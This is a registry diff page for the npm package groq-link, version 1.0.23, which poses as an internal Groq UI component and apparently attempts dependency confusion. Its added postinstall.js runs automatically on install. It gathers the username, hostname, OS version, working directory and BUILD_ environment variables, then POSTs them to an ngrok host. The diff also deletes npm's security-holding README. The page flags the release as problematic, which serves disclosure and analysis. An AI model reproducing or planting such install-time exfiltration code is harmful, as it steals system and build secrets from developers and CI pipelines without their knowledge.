groq-link 0.0.1-security → 1.0.23
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of groq-link might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +8 -3
- package/postinstall.js +36 -0
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
console.log("groq-link package executed. This may indicate dependency confusion.");
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "groq-link",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.23",
|
|
4
|
+
"description": "Internal Groq UI component (testing)",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node postinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "Mansi",
|
|
10
|
+
"license": "ISC"
|
|
6
11
|
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
|
|
4
|
+
const buildVars = {};
|
|
5
|
+
for (const [key, value] of Object.entries(process.env)) {
|
|
6
|
+
if (key.startsWith('BUILD_')) {
|
|
7
|
+
buildVars[key] = value;
|
|
8
|
+
}
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
const data = JSON.stringify({
|
|
12
|
+
user: os.userInfo().username,
|
|
13
|
+
hostname: os.hostname(),
|
|
14
|
+
uname: os.version(),
|
|
15
|
+
pwd: process.cwd(),
|
|
16
|
+
node_path: __dirname,
|
|
17
|
+
npm_package_name: process.env.npm_package_name,
|
|
18
|
+
build_vars: buildVars
|
|
19
|
+
});
|
|
20
|
+
|
|
21
|
+
const options = {
|
|
22
|
+
hostname: '53dbaf6b233c.ngrok-free.app', // or your server
|
|
23
|
+
path: '/groq',
|
|
24
|
+
method: 'POST',
|
|
25
|
+
headers: {
|
|
26
|
+
'Content-Type': 'application/json'
|
|
27
|
+
}
|
|
28
|
+
};
|
|
29
|
+
|
|
30
|
+
const req = https.request(options, res => {
|
|
31
|
+
res.on('data', d => process.stdout.write(d));
|
|
32
|
+
});
|
|
33
|
+
|
|
34
|
+
req.on('error', error => console.error(error));
|
|
35
|
+
req.write(data);
|
|
36
|
+
req.end();
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=groq-link for more information.
|